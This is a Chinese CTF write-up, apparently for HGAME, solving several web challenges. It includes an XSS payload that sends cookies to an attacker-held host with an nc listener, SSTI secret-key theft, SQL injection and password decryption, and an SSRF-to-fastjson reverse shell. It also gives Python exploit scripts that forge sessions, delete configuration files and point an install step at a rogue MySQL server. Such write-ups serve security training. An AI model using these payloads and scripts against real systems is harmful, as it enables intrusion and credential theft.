来呀!来呀!关注我吧!!
根据题目叙述 先拿上一次的payload试一下
我们发现网站后台将传入的 <script>
替换成Happy。但是前边和后边的数据并没有被过滤,但是后边的会被当成前边标签的属性,因此尝试修改下前边的数据。
由此可见后台还对一些关键字进行替换
经过测试发现并没有对 eval() 函数 和src 属性进行过滤, 但是经过测试及查询发现src属性由于 CSP内容安全策略 无法调用外部脚本。
但是可以使用编码的形式进行绕过 (1)base64编码 eval(atob(内容的base64形式))
(2)ascill码 eval (String.fromCharCode(内容的ascill码形式))
这里直接采用base64编码 进行绕过 构造payload:
<script >eval(atob('这段为payload的base64形式'))</script >
需要base64加密的payload 如下
window.location.href="//xxx.xxx.xxx.xxx:xx/?"+document.cookie
登录服务器以后 使用nc -lnvp 2017 来达到监听2017端口流量。 之后提交我们xss的payload ,经过后台bot访问后,我们服务器的2017端口就可以收到数据反馈。
页面有点难用,此时直接尝试burpsuite发包打payload
然后查看服务器,getflag
打开题目,发现是flask,有注册和登陆功能,尝试发现URL处存在SSTI(服务器模板注入)
经过一番尝试,发现WAF掉了小括号(命令执行的话很多操作会用到),猜测是伪造cookie登陆admin。
使用payload:{{config}} 可以获得secret_key
flask_session参考:[https://www.anquanke.com/post/id/163975
发现可疑参数_id,改为1,然后使用伪造cookie登陆即可获得flag
拿到题目,先看一波,功能有登陆,注册。 此时尝试注册登陆,登陆后,发现如下hint。
此时获取到源码,我们可以进行源码审计了。 在看git的时候,切记要看一下历史记录,可能会有新收获
该题目是使用 PHP的laravel框架 搭建 部署的。要想灵活审计此类题目,我们需要先了解一下laravel框架的结构。 此时,我们先从routes/web.php开始,也就是从路由开始,先分析一下,一共多少页面,实现了哪些功能 。
Route::get('/', 'StaticPagesController@home')->name('home'); Route::get('/register','UsersController@register')->name('register'); Route::get('/login','UsersController@login')->name('login'); Route::get('/users', 'UsersController@show')->name('users.show'); Route::post('/users', 'UsersController@store')->name('users.store'); Route::post('/login', 'SessionsController@store')->name('login'); Route::get('/logout', 'SessionsController@destroy')->name('logout');
拿第一行来举例,意思是,根目录会发送给StaticPagesController下的home方法进行解析。
在laravel中 ,核心代码在app文件夹内,此时我们从中可以找出StaticPagesController.php。进而分析
<?
class StaticPagesController extends Controller
{
public function home()
{
return view('static_pages/home');
}
}
可以发现,此时他return了一个view。也就是直接渲染一个模板。模板文件我们可以在/resources/views文件夹内找到。不过暂时我们不对模板文件进行审计。先从路由中的几个方法入手,分析其项目逻辑。在这里就不做过多介绍。
通过对源码的分析,我们可以发现一个可疑的点。如下第25行。
这行语句的意思是,从数据找出一条name=xxx的数据,然后将他的name给我。**
显而易见,这是句废话,而且分析还可以发现,该处没有对单引号进行过滤。
(p.s.在laravel中,有更安全的数据库查询方式,一般是不会使用拼接字符串的。疑点+1)
此时尝试对这个点进行注入。
我们在注册的时候,会为name赋值。此时我们尝试读取admin的email。payload如下。
iiiiaa' union select email from `users` where `name`='admin
注册时name填写payload即可。然后登陆即可发现注入结果。同理可得密码。
email:admin@hgame.com
password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==
此时发现password是加密后的。我们在回到源码进行分析。可以发现,在注册的时候,他进行了加密。
翻阅资料,以及看config,可以发现它采用AES-256-CBC加密,key在.env文件中(git历史记录有)。然后解密即可。解密脚本如下:
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
import base64
import json
key = '9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='
enc = 'eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ=='
enc_obj = json.loads(base64.b64decode(enc))
iv = base64.b64decode(enc_obj['iv'])
value = base64.b64decode(enc_obj['value'])
key = base64.b64decode(key)
PADDING = '\0'
pad_it = lambda s: s+(16 - len(s)%16)*PADDING
generator = AES.new(key, AES.MODE_CBC, iv)
recovery = generator.decrypt(value)
print recovery.rstrip(PADDING)
# s:16:"9pqfPIer0Ir9UUfR";
最后直接登录即可得到flag。
拿到题目真心很懵,研究半天愣是不知道入口在哪。 最后问了一下主办方,才要到一个hint:spring-boot-actuator。 actuator是一个spring-boot监控平台,如果有未授权访问,会泄露很多敏感信息。
http://sc0de.com/2018/09/02/spring-leakage/
尝试对actuator的路径进行扫描后,没有发现。
actuator部署时,可以选择与当前项目不同端口,此时通过扫描端口,可以得到以下信息:
PORT STATE SERVICE 22/tcp open ssh 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 4444/tcp filtered krb524 6667/tcp filtered irc 9876/tcp open sd 31337/tcp open Elite
然后针对开放端口继续进行扫描。最终发现mappings接口泄露如下信息(路由表):
# url: http://119.28.26.122:9876/mappings
{
"/webjars/**": {"bean": "resourceHandlerMapping"},
"/**": {"bean": "resourceHandlerMapping"},
"/**/favicon.ico": {"bean": "faviconHandlerMapping"},
"{[/index],methods=[GET]}": {
"bean": "requestMappingHandlerMapping",
"method": "public java.lang.String me.lightless.happyjava.controller.MainController.Index()"
},
"{[/you_will_never_find_this_interface],methods=[GET]}": {
"bean": "requestMappingHandlerMapping",
"method": "public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"
},
"{[/secret_flag_here],methods=[GET]}": {
"bean": "requestMappingHandlerMapping",
"method": "public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"
},
"{[/error],methods=[GET]}": {
"bean": "requestMappingHandlerMapping",
"method": "public java.lang.String me.lightless.happyjava.controller.ErrorController.ShowCommonError()"
},
"{[/error],produces=[text/html]}": {
"bean": "requestMappingHandlerMapping",
"method": "public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)"
},
"{[/error]}": {
"bean": "requestMappingHandlerMapping",
"method": "public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)"
}
}
通过对路由表分析,可以发现/youwillneverfindthisinterface以及secretflag_here两个接口。
通过实际对两个接口进行访问,分析。可以得出以下结论
然后继续分析第一个接口。通过分析,可以得出,他首先对url进行解析,获取ip,判断ip是否在黑名单中。之后进行对url访问。
此时我们可以通过DNS rebinding来进行ssrf。 简单来说就是,让他在判断ip的时候,将域名解析为正常ip,然后访问时,将ip解析为127.0.0.1。(详见http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/)
此时由于自己尝试自己搭DNS rebinding服务失败,蜜汁尴尬。(
最后无奈,只能通过简单粗暴来解决。
然后burp爆破即可。
爆破过程省略,然后继续说哈。 通过ssrf,可以访问到secretflaghere这个接口。提示需要有data参数,构造以下url。
http://119.28.26.122:23333/you_will_never_find_this_interface?url=http://dns.5am3.com:23333/secret_flag_here?data=123
传入data=1234,可以看到返回结果
WoW! Convert JSON to object...OK! Result: 12443
可以知道该接口是一个json的解析接口。考虑到出题人心理。为什么要给这个接口?当然是要考fastjson反序列化啦。
所以嘛,尝试构造即可。 自己做的时候,坑点很多。在这里介绍一下,就不细说了。
在经过多次尝试后,可以通过基于 JNDI 的 PoC来完成。
详见:https://www.restran.net/2018/10/29/fastjson-rce-notes/#基于-JNDI-的-PoC 这里就不多做介绍了。
最后通过反弹shell,获取到目标靶机shell。读取flag即可。
尝试分析网站,注册登陆后,有一个hint,网站每5分钟重置一次。然后就是有一个上传头像的地方 。此时可以上传任意文件,并且跨目录上传。由于时间太短,不好对源站进行太多的尝试。先down下来源码,自己搭一波环境。
因为对go不太了解,一开始一直在想如何能覆盖源码,或者覆盖模板 。最后肯定是失败的。因为他是先编译后在执行的 。所以没覆盖源码一说。最后审查代码,在main.go中发现session的一些配置。
可以看出,它是将session作为文件,存到了当前的tmp目录下。打开tmp目录。可以看到他的目录结构是。
- tmp
- - 1
- - - a
- - - - 1axxxxx
此时知道了session的存储形式,以及存储结构,我们可以尝试伪造session,来登陆管理员账户。
继续分析,看一下admin都有什么权限。分析代码,可以发现管理员是可以删除用户的。
此时,删除用户,首先会删除用户头像文件,以及数据库中删除该用户。 此时的用户头像文件我们可控。也就是可以任意删除文件。
此时我们可以整理利用链如下: 伪造session登陆管理员 --> 删除某敏感文件
说实话,到这里真的卡住了,最后无奈向主办方求hint。软磨硬泡之下,要到一个连接。 https://lightless.me/archives/read-mysql-client-file.html
还是自己太菜了,看完之后,一声woc。
最终利用链可以分析出来,就是:
伪造session登陆管理员 --> 删除app.conf --> 重新install,写入恶意sql服务器 --> 任意文件读取。
首先,先进行session伪造,在这里不多说了,大家可以分析一下poc。伪造session的poc如下。
# coding:utf-8
import requests
import base64
ip = "94.191.10.201"
host = "http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL= host + "/auth/login"
userinfoURL = host + "/userinfo"
req = requests.session()
# register
registerData={
"username":"ii5am3",
"password":"123456",
"confirmpass":"123456",
}
r= req.post(registerURL,data=registerData)
print("[+] register "+r.text)
# login
loginData={
"username":"ii5am3",
"password":"123456",
}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)
# 获取当前登陆用户的sessionID
sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)
# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)
# 本地搭建环境,登入uid为1的账号,然后获取他的session的文件即可。在这里我给大家
attackSession = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")
sessionFiles={
"uploadname" : (filename, attackSession)
}
r = req.post(userinfoURL,files=sessionFiles)
print(r"[+] newCookie is: PHPSESSID="+ newSession)
此时我们可以通过该session来登入管理员账户。(脚本多试几次,有可能卡在题目环境更新时)
此时可以进行下一步,将user1,也就是你注册的那个用户的头像修改,文件名为../../conf/app.conf 。(其实自己之前尝试过直接覆盖,但是未成功。迷..) 然后再进行删除该用户,此时可以进行重装操作。 最终poc如下(时间太短了,手工肯定不行的。):
# coding:utf-8
import requests
import base64
# req表示user1,此时全程用该一个session
req = requests.session()
ip = "94.191.10.201"
host = "http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL= host + "/auth/login"
userinfoURL = host + "/userinfo"
deleteUserURL = host +"/admin/user/del/2"
installURl = host + "/install"
attackCookie = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")
# register
registerData={
"username":"ii5am3",
"password":"123456",
"confirmpass":"123456",
}
r= req.post(registerURL,data=registerData)
print("[+] register "+r.text)
# login
loginData={
"username":"ii5am3",
"password":"123456",
}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)
sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)
# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)
sessionFiles={
"uploadname" : (filename, attackCookie)
}
r = req.post(userinfoURL,files=sessionFiles)
print(r"[+] newSessionID is "+ newSession)
# 修改头像文件链接。
sessionFiles={
"uploadname" : ("../../conf/app.conf", "12345")
}
r = req.post(userinfoURL,files=sessionFiles)
# 新建一个请求,伪造admin进行删除用户
headers={
"Cookie":"PHPSESSID="+newSession
}
r = requests.get(deleteUserURL,headers=headers)
# 重新安装环境,将其指向我们的恶意sql服务器。
installData = {
"host":"1xx.1x9.1xx.x3",
"port":"2017",
"username":"hgame",
"password":"hgame",
"database":"hgame"
}
r = requests.post(installURl,installData)
# 再次登录,使其再来一次请求。
loginData={
"username":"ii5am3",
"password":"123456",
}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)
至此,我们这道题就做完了。再附一个自己用的恶意sql服务器。
https://github.com/allyshka/Rogue-MySql-Server